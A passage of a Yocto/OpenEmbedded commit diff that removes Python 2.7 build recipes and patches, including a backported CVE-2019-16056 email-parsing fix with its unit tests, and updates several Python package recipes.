-Index: Python-2.7.14/Python/getplatform.c
-===================================================================
---- Python-2.7.14.orig/Python/getplatform.c
-+++ Python-2.7.14/Python/getplatform.c
-@@ -10,3 +10,13 @@ Py_GetPlatform(void)
- {
- return PLATFORM;
- }
-+
-+#ifndef LIB
-+#define LIB "lib"
-+#endif
-+
-+const char *
-+Py_GetLib(void)
-+{
-+ return LIB;
-+}
-Index: Python-2.7.14/Python/sysmodule.c
-===================================================================
---- Python-2.7.14.orig/Python/sysmodule.c
-+++ Python-2.7.14/Python/sysmodule.c
-@@ -1437,6 +1437,8 @@ _PySys_Init(void)
- PyString_FromString(Py_GetCopyright()));
- SET_SYS_FROM_STRING("platform",
- PyString_FromString(Py_GetPlatform()));
-+ SET_SYS_FROM_STRING("lib",
-+ PyString_FromString(Py_GetLib()));
- SET_SYS_FROM_STRING("executable",
- PyString_FromString(Py_GetProgramFullPath()));
- SET_SYS_FROM_STRING("prefix",
-Index: Python-2.7.14/configure.ac
-===================================================================
---- Python-2.7.14.orig/configure.ac
-+++ Python-2.7.14/configure.ac
-@@ -758,6 +758,11 @@ SunOS*)
- ;;
- esac
-
-+AC_SUBST(LIB)
-+AC_MSG_CHECKING(LIB)
-+LIB=`basename ${libdir}`
-+AC_MSG_RESULT($LIB)
-+
-
- AC_SUBST(LIBRARY)
- AC_MSG_CHECKING(LIBRARY)
diff --git a/meta/recipes-devtools/python/python-native/nohostlibs.patch b/meta/recipes-devtools/python/python-native/nohostlibs.patch
deleted file mode 100644
index 078060b49e..0000000000
--- a/meta/recipes-devtools/python/python-native/nohostlibs.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-2014/12/15
-Rebased for python-2.7.9
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
-
-Index: Python-2.7.9/setup.py
-===================================================================
---- Python-2.7.9.orig/setup.py
-+++ Python-2.7.9/setup.py
-@@ -439,9 +439,9 @@ class PyBuildExt(build_ext):
-
- def detect_modules(self):
- # Ensure that /usr/local is always used
-- if not cross_compiling:
-- add_dir_to_list(self.compiler.library_dirs, '/usr/local/lib')
-- add_dir_to_list(self.compiler.include_dirs, '/usr/local/include')
-+ # if not cross_compiling:
-+ # add_dir_to_list(self.compiler.library_dirs, '/usr/local/lib')
-+ # add_dir_to_list(self.compiler.include_dirs, '/usr/local/include')
- if cross_compiling:
- self.add_gcc_paths()
- self.add_multiarch_paths()
-@@ -480,15 +480,15 @@ class PyBuildExt(build_ext):
- for directory in reversed(options.dirs):
- add_dir_to_list(dir_list, directory)
-
-- if os.path.normpath(sys.prefix) != '/usr' \
-- and not sysconfig.get_config_var('PYTHONFRAMEWORK'):
-+ #if os.path.normpath(sys.prefix) != '/usr' \
-+ #and not sysconfig.get_config_var('PYTHONFRAMEWORK'):
- # OSX note: Don't add LIBDIR and INCLUDEDIR to building a framework
- # (PYTHONFRAMEWORK is set) to avoid # linking problems when
- # building a framework with different architectures than
- # the one that is currently installed (issue #7473)
-- add_dir_to_list(self.compiler.library_dirs,
-+ add_dir_to_list(self.compiler.library_dirs,
- sysconfig.get_config_var("LIBDIR"))
-- add_dir_to_list(self.compiler.include_dirs,
-+ add_dir_to_list(self.compiler.include_dirs,
- sysconfig.get_config_var("INCLUDEDIR"))
-
- try:
-@@ -761,8 +761,7 @@ class PyBuildExt(build_ext):
- pass # Issue 7384: Already linked against curses or tinfo.
- elif curses_library:
- readline_libs.append(curses_library)
-- elif self.compiler.find_library_file(lib_dirs +
-- ['/usr/lib/termcap'],
-+ elif self.compiler.find_library_file(lib_dirs,
- 'termcap'):
- readline_libs.append('termcap')
- exts.append( Extension('readline', ['readline.c'],
diff --git a/meta/recipes-devtools/python/python-native/revert_use_of_sysconfigdata.patch b/meta/recipes-devtools/python/python-native/revert_use_of_sysconfigdata.patch
deleted file mode 100644
index 202aaf1069..0000000000
--- a/meta/recipes-devtools/python/python-native/revert_use_of_sysconfigdata.patch
+++ /dev/null
@@ -1,86 +0,0 @@
-On older versions of Python, sysconfig read the data from both the Makefile and
-the Python.h file generated at build time, created dictionaries with their variables
-and used those when using get_config_var(), now it uses _sysconfigdata.build_time_vars[]
-which contains information from the HOST, erroneous in our case, this patch reverts this
-behavior and uses Python.h and Makefile to get information.
-
-Upstream-Status: Inappropriate [oe-specific]
-
-Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
-
-Index: Python-2.7.9/Lib/distutils/sysconfig.py
-===================================================================
---- Python-2.7.9.orig/Lib/distutils/sysconfig.py
-+++ Python-2.7.9/Lib/distutils/sysconfig.py
-@@ -401,12 +401,66 @@ _config_vars = None
-
- def _init_posix():
- """Initialize the module as appropriate for POSIX systems."""
-- # _sysconfigdata is generated at build time, see the sysconfig module
-- from _sysconfigdata import build_time_vars
-- global _config_vars
-- _config_vars = {}
-- _config_vars.update(build_time_vars)
-+ g = {}
-+ # load the installed Makefile:
-+ try:
-+ filename = get_makefile_filename()
-+ parse_makefile(filename, g)
-+ except IOError, msg:
-+ my_msg = "invalid Python installation: unable to open %s" % filename
-+ if hasattr(msg, "strerror"):
-+ my_msg = my_msg + " (%s)" % msg.strerror
-+
-+ raise DistutilsPlatformError(my_msg)
-+
-+ # load the installed pyconfig.h:
-+ try:
-+ filename = get_config_h_filename()
-+ parse_config_h(file(filename), g)
-+ except IOError, msg:
-+ my_msg = "invalid Python installation: unable to open %s" % filename
-+ if hasattr(msg, "strerror"):
-+ my_msg = my_msg + " (%s)" % msg.strerror
-+
-+ raise DistutilsPlatformError(my_msg)
-+
-+ # On AIX, there are wrong paths to the linker scripts in the Makefile
-+ # -- these paths are relative to the Python source, but when installed
-+ # the scripts are in another directory.
-+ if python_build:
-+ g['LDSHARED'] = g['BLDSHARED']
-
-+ elif get_python_version() < '2.1':
-+ # The following two branches are for 1.5.2 compatibility.
-+ if sys.platform == 'aix4': # what about AIX 3.x ?
-+ # Linker script is in the config directory, not in Modules as the
-+ # Makefile says.
-+ python_lib = get_python_lib(standard_lib=1)
-+ ld_so_aix = os.path.join(python_lib, 'config', 'ld_so_aix')
-+ python_exp = os.path.join(python_lib, 'config', 'python.exp')
-+
-+ g['LDSHARED'] = "%s %s -bI:%s" % (ld_so_aix, g['CC'], python_exp)
-+
-+ elif sys.platform == 'beos':
-+ # Linker script is in the config directory. In the Makefile it is
-+ # relative to the srcdir, which after installation no longer makes
-+ # sense.
-+ python_lib = get_python_lib(standard_lib=1)
-+ linkerscript_path = string.split(g['LDSHARED'])[0]
-+ linkerscript_name = os.path.basename(linkerscript_path)
-+ linkerscript = os.path.join(python_lib, 'config',
-+ linkerscript_name)
-+
-+ # XXX this isn't the right place to do this: adding the Python
-+ # library to the link, if needed, should be in the "build_ext"
-+ # command. (It's also needed for non-MS compilers on Windows, and
-+ # it's taken care of for them by the 'build_ext.get_libraries()'
-+ # method.)
-+ g['LDSHARED'] = ("%s -L%s/lib -lpython%s" %
-+ (linkerscript, PREFIX, get_python_version()))
-+
-+ global _config_vars
-+ _config_vars = g
-
- def _init_nt():
- """Initialize the module as appropriate for NT"""
diff --git a/meta/recipes-devtools/python/python-native/unixccompiler.patch b/meta/recipes-devtools/python/python-native/unixccompiler.patch
deleted file mode 100644
index 4502829129..0000000000
--- a/meta/recipes-devtools/python/python-native/unixccompiler.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Pending
-
-The CC variable,sometimes like:"x86_64-poky-linux-gcc -m64 --sysroot=/${TMPDIR}/sysroots/qemux86-64", contains option information.
-This will lead to wrong compiler name "qemux86-64" rather than "x86_64-poky-linux-gcc" when python finding the compiler name.
-
-Signed-off-by: Mei Lei <lei.mei@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Index: Python-2.7.2/Lib/distutils/unixccompiler.py
-===================================================================
---- Python-2.7.2.orig/Lib/distutils/unixccompiler.py 2011-11-24 13:51:10.539998722 -0800
-+++ Python-2.7.2/Lib/distutils/unixccompiler.py 2011-11-24 15:54:36.872137766 -0800
-@@ -282,7 +282,7 @@
- # this time, there's no way to determine this information from
- # the configuration data stored in the Python installation, so
- # we use this hack.
-- compiler = os.path.basename(sysconfig.get_config_var("CC"))
-+ compiler = sysconfig.get_config_var("CC")
- if sys.platform[:6] == "darwin":
- # MacOSX's linker doesn't understand the -R flag at all
- return "-L" + dir
diff --git a/meta/recipes-devtools/python/python-native_2.7.16.bb b/meta/recipes-devtools/python/python-native_2.7.16.bb
deleted file mode 100644
index 90103af8be..0000000000
--- a/meta/recipes-devtools/python/python-native_2.7.16.bb
+++ /dev/null
@@ -1,88 +0,0 @@
-require python.inc
-EXTRANATIVEPATH += "bzip2-native"
-DEPENDS = "openssl-native bzip2-replacement-native zlib-native readline-native sqlite3-native expat-native gdbm-native db-native"
-
-SRC_URI += "\
- file://05-enable-ctypes-cross-build.patch \
- file://10-distutils-fix-swig-parameter.patch \
- file://11-distutils-never-modify-shebang-line.patch \
- file://0001-distutils-set-the-prefix-to-be-inside-staging-direct.patch \
- file://unixccompiler.patch \
- file://nohostlibs.patch \
- file://multilib.patch \
- file://add-md5module-support.patch \
- file://builddir.patch \
- file://parallel-makeinst-create-bindir.patch \
- file://revert_use_of_sysconfigdata.patch \
- file://0001-python-native-fix-one-do_populate_sysroot-warning.patch \
- "
-
-S = "${WORKDIR}/Python-${PV}"
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/${PN}:"
-
-inherit native
-
-EXTRA_OECONF_append = " --bindir=${bindir}/${PN} --with-system-expat=${STAGING_DIR_HOST}"
-
-EXTRA_OEMAKE = '\
- LIBC="" \
- STAGING_LIBDIR=${STAGING_LIBDIR_NATIVE} \
- STAGING_INCDIR=${STAGING_INCDIR_NATIVE} \
-'
-
-do_configure_append() {
- autoreconf --verbose --install --force --exclude=autopoint ../Python-${PV}/Modules/_ctypes/libffi
-}
-
-# Regenerate all of the generated files
-# This ensures that pgen and friends get created during the compile phase
-do_compile_prepend() {
- oe_runmake regen-all
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
- install -d ${D}${bindir}/${PN}
- install -m 0755 Parser/pgen ${D}${bindir}/${PN}
-
- # Make sure we use /usr/bin/env python
- for PYTHSCRIPT in `grep -rIl ${bindir}/${PN}/python ${D}${bindir}/${PN}`; do
- sed -i -e '1s|^#!.*|#!/usr/bin/env python|' $PYTHSCRIPT
- done
-
- # Add a symlink to the native Python so that scripts can just invoke
- # "nativepython" and get the right one without needing absolute paths
- # (these often end up too long for the #! parser in the kernel as the
- # buffer is 128 bytes long).
- ln -s python-native/python ${D}${bindir}/nativepython
-
- # We don't want modules in ~/.local being used in preference to those
- # installed in the native sysroot, so disable user site support.
- sed -i -e 's,^\(ENABLE_USER_SITE = \).*,\1False,' ${D}${libdir}/python${PYTHON_MAJMIN}/site.py
-}
-
-python(){
-
- # Read JSON manifest
- import json
- pythondir = d.getVar('THISDIR')
- with open(pythondir+'/python/python2-manifest.json') as manifest_file:
- manifest_str = manifest_file.read()
- json_start = manifest_str.find('# EOC') + 6
- manifest_file.seek(json_start)
- manifest_str = manifest_file.read()
- python_manifest = json.loads(manifest_str)
-
- rprovides = d.getVar('RPROVIDES').split()
-
- # Hardcoded since it cant be python-native-foo, should be python-foo-native
- pn = 'python'
-
- for key in python_manifest:
- pypackage = pn + '-' + key + '-native'
- if pypackage not in rprovides:
- rprovides.append(pypackage)
-
- d.setVar('RPROVIDES', ' '.join(rprovides))
-}
diff --git a/meta/recipes-devtools/python/python-nose.inc b/meta/recipes-devtools/python/python-nose.inc
deleted file mode 100644
index ccec68a0e1..0000000000
--- a/meta/recipes-devtools/python/python-nose.inc
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Extends Python unittest to make testing easier"
-HOMEPAGE = "http://readthedocs.org/docs/nose/"
-DESCRIPTION = "nose extends the test loading and running features of unittest, \
-making it easier to write, find and run tests."
-SECTION = "devel/python"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://lgpl.txt;md5=a6f89e2100d9b6cdffcea4f398e37343"
-
-SRC_URI[md5sum] = "4d3ad0ff07b61373d2cefc89c5d0b20b"
-SRC_URI[sha256sum] = "f1bffef9cbc82628f6e7d7b40d7e255aefaa1adb6a1b1d26c69a8b79e6208a98"
-
-inherit pypi
-
-RDEPENDS_${PN} = "\
- ${PYTHON_PN}-unittest \
- "
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-pbr.inc b/meta/recipes-devtools/python/python-pbr.inc
index 0e64501c32..59fbc6dce4 100644
--- a/meta/recipes-devtools/python/python-pbr.inc
+++ b/meta/recipes-devtools/python/python-pbr.inc
@@ -1,12 +1,14 @@
SUMMARY = "Python Build Reasonableness"
DESCRIPTION = "PBR is a library that injects some useful and sensible default behaviors into your setuptools run"
-HOMEPAGE = "https://pypi.python.org/pypi/pbr"
+HOMEPAGE = "https://pypi.org/project/pbr"
SECTION = "devel/python"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=1dece7821bf3fd70fe1309eaa37d52a2"
+SRC_URI += "file://0001-change-shebang-to-python3.patch"
+
inherit pypi
-RDEPENDS_${PN} += "${PYTHON_PN}-pip"
+RDEPENDS:${PN} += "${PYTHON_PN}-pip"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-pycryptodome.inc b/meta/recipes-devtools/python/python-pycryptodome.inc
new file mode 100644
index 0000000000..29fe80d224
--- /dev/null
+++ b/meta/recipes-devtools/python/python-pycryptodome.inc
@@ -0,0 +1,28 @@
+SUMMARY = "Cryptographic library for Python"
+DESCRIPTION = "PyCryptodome is a self-contained Python package of low-level\
+ cryptographic primitives."
+HOMEPAGE = "http://www.pycryptodome.org"
+LICENSE = "PD & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=29242a70410a4eeff488a28164e7ab93"
+
+inherit pypi
+
+PYPI_PACKAGE_EXT = "tar.gz"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-math \
+"
+
+RDEPENDS:${PN}-tests += " \
+ ${PYTHON_PN}-unittest \
+"
+
+PACKAGES =+ "${PN}-tests"
+
+FILES:${PN}-tests = " \
+ ${PYTHON_SITEPACKAGES_DIR}/Crypto/SelfTest/ \
+ ${PYTHON_SITEPACKAGES_DIR}/Crypto/SelfTest/__pycache__/ \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch b/meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch
new file mode 100644
index 0000000000..8a646874e8
--- /dev/null
+++ b/meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch
@@ -0,0 +1,32 @@
+From 3531ff73631a0d59234eb4713e7b3a7f5ea57bbb Mon Sep 17 00:00:00 2001
+From: Nicola Lunghi <nicola.lunghi@jci.com>
+Date: Thu, 14 Nov 2019 12:17:51 +0000
+Subject: [PATCH] setup.py: move pytest-runner to test_requirements
+
+This fixes an issue with yocto build.
+pytest-runner is only needed when running tests.
+
+Upstream-Status: Pending
+---
+ setup.py | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index 53ebea7..ebb0de2 100644
+--- a/setup.py
++++ b/setup.py
+@@ -10,9 +10,9 @@ with open('README.md') as readme_file:
+
+ requirements = []
+
+-setup_requirements = ['pytest-runner', ]
++setup_requirements = []
+
+-test_requirements = ['pytest>=3', ]
++test_requirements = ['pytest>=3', 'pytest-runner']
+
+ setup(
+ author="Nicolas Aimetti",
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/python/python-setuptools.inc b/meta/recipes-devtools/python/python-setuptools.inc
deleted file mode 100644
index 027e259be8..0000000000
--- a/meta/recipes-devtools/python/python-setuptools.inc
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Download, build, install, upgrade, and uninstall Python packages"
-HOMEPAGE = "https://pypi.python.org/pypi/setuptools"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;beginline=1;endline=19;md5=9a33897f1bca1160d7aad3835152e158"
-
-PYPI_PACKAGE_EXT = "zip"
-
-inherit pypi
-
-SRC_URI_append_class-native = " file://0001-conditionally-do-not-fetch-code-by-easy_install.patch"
-
-SRC_URI[md5sum] = "89a592d733b31e180a4b6ad760c0685a"
-SRC_URI[sha256sum] = "7eae782ccf36b790c21bde7d86a4f303a441cd77036b25c559a602cf5186ce4d"
-
-DEPENDS += "${PYTHON_PN}"
-
-RDEPENDS_${PN} = "\
- ${PYTHON_PN}-compile \
- ${PYTHON_PN}-compression \
- ${PYTHON_PN}-ctypes \
- ${PYTHON_PN}-distutils \
- ${PYTHON_PN}-email \
- ${PYTHON_PN}-html \
- ${PYTHON_PN}-netserver \
- ${PYTHON_PN}-numbers \
- ${PYTHON_PN}-pkgutil \
- ${PYTHON_PN}-plistlib \
- ${PYTHON_PN}-shell \
- ${PYTHON_PN}-stringold \
- ${PYTHON_PN}-threading \
- ${PYTHON_PN}-unittest \
- ${PYTHON_PN}-xml \
-"
-do_install_prepend() {
- install -d ${D}${PYTHON_SITEPACKAGES_DIR}
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
-# The pkg-resources module can be used by itself, without the package downloader
-# and easy_install. Ship it in a separate package so that it can be used by
-# minimal distributions.
-PACKAGES =+ "${PYTHON_PN}-pkg-resources "
-FILES_${PYTHON_PN}-pkg-resources = "${PYTHON_SITEPACKAGES_DIR}/pkg_resources/*"
-# Due to the way OE-Core implemented native recipes, the native class cannot
-# have a dependency on something that is not a recipe name. Work around that by
-# manually setting RPROVIDES.
-RDEPENDS_${PN}_append = " ${PYTHON_PN}-pkg-resources"
-RPROVIDES_append_class-native = " ${PYTHON_PN}-pkg-resources-native"
diff --git a/meta/recipes-devtools/python/python-setuptools_41.4.0.bb b/meta/recipes-devtools/python/python-setuptools_41.4.0.bb
deleted file mode 100644
index cf9440495b..0000000000
--- a/meta/recipes-devtools/python/python-setuptools_41.4.0.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-require python-setuptools.inc
-
-PROVIDES = "python-distribute"
-
-inherit setuptools
-
-RREPLACES_${PN} = "python-distribute"
-RPROVIDES_${PN} = "python-distribute"
-RCONFLICTS_${PN} = "python-distribute"
diff --git a/meta/recipes-devtools/python/python-six.inc b/meta/recipes-devtools/python/python-six.inc
index c706dcaf25..aac6765149 100644
--- a/meta/recipes-devtools/python/python-six.inc
+++ b/meta/recipes-devtools/python/python-six.inc
@@ -1,14 +1,11 @@
SUMMARY = "Python 2 and 3 compatibility library"
-HOMEPAGE = "https://pypi.python.org/pypi/six/"
+HOMEPAGE = "https://pypi.org/project/six/"
SECTION = "devel/python"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=83e0f622bd5ac7d575dbd83d094d69b5"
-
-SRC_URI[md5sum] = "9ae5d1feed8c0215f4ae4adcd9207fcb"
-SRC_URI[sha256sum] = "d16a0141ec1a18405cd4ce8b4613101da75da0e9a7aec5bdd4fa804d0e0eba73"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=43cfc9e4ac0e377acfb9b76f56b8415d"
inherit pypi
-RDEPENDS_${PN} = "${PYTHON_PN}-io"
+RDEPENDS:${PN} = "${PYTHON_PN}-io"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-smmap.inc b/meta/recipes-devtools/python/python-smmap.inc
deleted file mode 100644
index b878b4b399..0000000000
--- a/meta/recipes-devtools/python/python-smmap.inc
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Python implementation of a sliding window memory map manager"
-DESCRIPTION = "A pure Python implementation of a sliding memory map to \
-help unifying memory mapped access on 32 and 64 bit systems and to help \
-managing resources more efficiently."
-HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=e910b35b0ef4e1f665b9a75d6afb7709"
-
-inherit pypi
-
-PYPI_PACKAGE = "smmap2"
-
-SRC_URI[md5sum] = "1c59a985be5aa645c4c5a4e063a40dd5"
-SRC_URI[sha256sum] = "29a9ffa0497e7f2be94ca0ed1ca1aa3cd4cf25a1f6b4f5f87f74b46ed91d609a"
-
-RDEPENDS_${PN} += "${PYTHON_PN}-codecs \
- ${PYTHON_PN}-mmap \
-"
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-subunit.inc b/meta/recipes-devtools/python/python-subunit.inc
deleted file mode 100644
index afaaa51fa5..0000000000
--- a/meta/recipes-devtools/python/python-subunit.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-SUMMARY = "Python implementation of subunit test streaming protocol"
-HOMEPAGE = "https://pypi.python.org/pypi/python-subunit/"
-SECTION = "devel/python"
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://README.rst;beginline=1;endline=20;md5=909c08e291647fd985fbe5d9836d51b6"
-
-PYPI_PACKAGE = "python-subunit"
-
-SRC_URI[md5sum] = "16d468a3aeafe6c60a0c3b2b9132d65b"
-SRC_URI[sha256sum] = "9607edbee4c1e5a30ff88549ce8d9feb0b9bcbcb5e55033a9d76e86075465cbb"
-
-inherit pypi
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/python/python-testtools.inc b/meta/recipes-devtools/python/python-testtools.inc
index d0b2e46d7b..ef5e15cc3a 100644
--- a/meta/recipes-devtools/python/python-testtools.inc
+++ b/meta/recipes-devtools/python/python-testtools.inc
@@ -1,13 +1,12 @@
SUMMARY = "Extensions to the Python standard library unit testing framework"
-HOMEPAGE = "https://pypi.python.org/pypi/testtools/"
+HOMEPAGE = "https://pypi.org/project/testtools/"
SECTION = "devel/python"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=e2c9d3e8ba7141c83bfef190e0b9379a"
inherit pypi
-SRC_URI[md5sum] = "0f0feb915497816cb99e39437494217e"
-SRC_URI[sha256sum] = "5827ec6cf8233e0f29f51025addd713ca010061204fdea77484a2934690a0559"
+SRC_URI[sha256sum] = "57c13433d94f9ffde3be6534177d10fb0c1507cc499319128958ca91a65cb23f"
DEPENDS += " \
${PYTHON_PN}-pbr \
@@ -18,7 +17,7 @@ DEPENDS += " \
${PYTHON_PN}-pbr-native \
"
-RDEPENDS_${PN} += "\
+RDEPENDS:${PN} += "\
${PYTHON_PN}-doctest \
${PYTHON_PN}-extras \
${PYTHON_PN}-pbr \
diff --git a/meta/recipes-devtools/python/python.inc b/meta/recipes-devtools/python/python.inc
deleted file mode 100644
index 1462b779e9..0000000000
--- a/meta/recipes-devtools/python/python.inc
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "The Python Programming Language"
-HOMEPAGE = "http://www.python.org"
-LICENSE = "PSFv2"
-SECTION = "devel/python"
-# bump this on every change in contrib/python/generate-manifest-2.7.py
-INC_PR = "r1"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e466242989bd33c1bd2b6a526a742498"
-
-SRC_URI = "http://www.python.org/ftp/python/${PV}/Python-${PV}.tar.xz \
- file://bpo-35907-cve-2019-9948.patch \
- file://bpo-35907-cve-2019-9948-fix.patch \
- file://bpo-36216-cve-2019-9636.patch \
- file://bpo-36216-cve-2019-9636-fix.patch \
- file://CVE-2019-9740.patch \
- file://CVE-2018-20852.patch \
- "
-
-SRC_URI[md5sum] = "30157d85a2c0479c09ea2cbe61f2aaf5"
-SRC_URI[sha256sum] = "f222ef602647eecb6853681156d32de4450a2c39f4de93bd5b20235f2e660ed7"
-
-# python recipe is actually python 2.x
-# also, exclude pre-releases for both python 2.x and 3.x
-UPSTREAM_CHECK_REGEX = "[Pp]ython-(?P<pver>2(\.\d+)+).tar"
-
-CVE_PRODUCT = "python"
-
-PYTHON_MAJMIN = "2.7"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "\
- --with-threads \
- --with-pymalloc \
- --without-cxx-main \
- --with-signal-module \
- --enable-shared \
- --enable-ipv6=${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'yes', 'no', d)} \
- ac_cv_header_bluetooth_bluetooth_h=no ac_cv_header_bluetooth_h=no \
-"
-
-do_configure_prepend() {
- libdirleaf="$(echo ${libdir} | sed -e 's:${prefix}/::')"
- sed -i -e "s:SEDMELIBLEAF:${libdirleaf}:g" \
- ${S}/configure.ac
-}
-
-do_install_append () {
- sed -i -e 's:${HOSTTOOLS_DIR}/install:install:g' \
- -e 's:${HOSTTOOLS_DIR}/mkdir:mkdir:g' \
- ${D}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata.py
-}
diff --git a/meta/recipes-devtools/python/python/0001-2.7-bpo-34155-Dont-parse-domains-containing-GH-13079.patch b/meta/recipes-devtools/python/python/0001-2.7-bpo-34155-Dont-parse-domains-containing-GH-13079.patch
deleted file mode 100644
index 5415472a35..0000000000
--- a/meta/recipes-devtools/python/python/0001-2.7-bpo-34155-Dont-parse-domains-containing-GH-13079.patch
+++ /dev/null
@@ -1,90 +0,0 @@
-From 532ed09c5454bb789a301bb6f1339a0818255610 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Roberto=20C=2E=20S=C3=A1nchez?= <roberto@connexer.com>
-Date: Sat, 14 Sep 2019 13:26:38 -0400
-Subject: [PATCH] [2.7] bpo-34155: Dont parse domains containing @ (GH-13079)
- (GH-16006)
-
-This change skips parsing of email addresses where domains include a "@" character, which can be maliciously used since the local part is returned as a complete address.
-
-(cherry picked from commit 8cb65d1381b027f0b09ee36bfed7f35bb4dec9a9)
-
-Excludes changes to Lib/email/_header_value_parser.py, which did not
-exist in 2.7.
-
-Co-authored-by: jpic <jpic@users.noreply.github.com>
-
-https://bugs.python.org/issue34155
-
-Upstream-Status: Backport [https://github.com/python/cpython/commit/8cb65d1381b027f0b09ee36bfed7f35bb4dec9a9]
-
-CVE: CVE-2019-16056
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- Lib/email/_parseaddr.py | 11 ++++++++++-
- Lib/email/test/test_email.py | 14 ++++++++++++++
- .../2019-05-04-13-33-37.bpo-34155.MJll68.rst | 1 +
- 3 files changed, 25 insertions(+), 1 deletion(-)
- create mode 100644 Misc/NEWS.d/next/Security/2019-05-04-13-33-37.bpo-34155.MJll68.rst
-
-diff --git a/Lib/email/_parseaddr.py b/Lib/email/_parseaddr.py
-index 690db2c22d..dc49d2e45a 100644
---- a/Lib/email/_parseaddr.py
-+++ b/Lib/email/_parseaddr.py
-@@ -336,7 +336,12 @@ class AddrlistClass:
- aslist.append('@')
- self.pos += 1
- self.gotonext()
-- return EMPTYSTRING.join(aslist) + self.getdomain()
-+ domain = self.getdomain()
-+ if not domain:
-+ # Invalid domain, return an empty address instead of returning a
-+ # local part to denote failed parsing.
-+ return EMPTYSTRING
-+ return EMPTYSTRING.join(aslist) + domain
-
- def getdomain(self):
- """Get the complete domain name from an address."""
-@@ -351,6 +356,10 @@ class AddrlistClass:
- elif self.field[self.pos] == '.':
- self.pos += 1
- sdlist.append('.')
-+ elif self.field[self.pos] == '@':
-+ # bpo-34155: Don't parse domains with two `@` like
-+ # `a@malicious.org@important.com`.
-+ return EMPTYSTRING
- elif self.field[self.pos] in self.atomends:
- break
- else:
-diff --git a/Lib/email/test/test_email.py b/Lib/email/test/test_email.py
-index 4b4dee3d34..2efe44ac5a 100644
---- a/Lib/email/test/test_email.py
-+++ b/Lib/email/test/test_email.py
-@@ -2306,6 +2306,20 @@ class TestMiscellaneous(TestEmailBase):
- self.assertEqual(Utils.parseaddr('<>'), ('', ''))
- self.assertEqual(Utils.formataddr(Utils.parseaddr('<>')), '')
-
-+ def test_parseaddr_multiple_domains(self):
-+ self.assertEqual(
-+ Utils.parseaddr('a@b@c'),
-+ ('', '')
-+ )
-+ self.assertEqual(
-+ Utils.parseaddr('a@b.c@c'),
-+ ('', '')
-+ )
-+ self.assertEqual(
-+ Utils.parseaddr('a@172.17.0.1@c'),
-+ ('', '')
-+ )
-+
- def test_noquote_dump(self):
- self.assertEqual(
- Utils.formataddr(('A Silly Person', 'person@dom.ain')),
-diff --git a/Misc/NEWS.d/next/Security/2019-05-04-13-33-37.bpo-34155.MJll68.rst b/Misc/NEWS.d/next/Security/2019-05-04-13-33-37.bpo-34155.MJll68.rst
-new file mode 100644
-index 0000000000..50292e29ed
---- /dev/null
-+++ b/Misc/NEWS.d/next/Security/2019-05-04-13-33-37.bpo-34155.MJll68.rst
-@@ -0,0 +1 @@
-+Fix parsing of invalid email addresses with more than one ``@`` (e.g. a@b@c.com.) to not return the part before 2nd ``@`` as valid email address. Patch by maxking & jpic.
diff --git a/meta/recipes-devtools/python/python/0001-2.7-bpo-38243-Escape-the-server-title-of-DocXMLRPCSe.patch b/meta/recipes-devtools/python/python/0001-2.7-bpo-38243-Escape-the-server-title-of-DocXMLRPCSe.patch
deleted file mode 100644
index 3025cf7bc8..0000000000
--- a/meta/recipes-devtools/python/python/0001-2.7-bpo-38243-Escape-the-server-title-of-DocXMLRPCSe.patch
+++ /dev/null
@@ -1,101 +0,0 @@
-From b161c89c8bd66fe928192e21364678c8e9b8fcc0 Mon Sep 17 00:00:00 2001
-From: Dong-hee Na <donghee.na92@gmail.com>
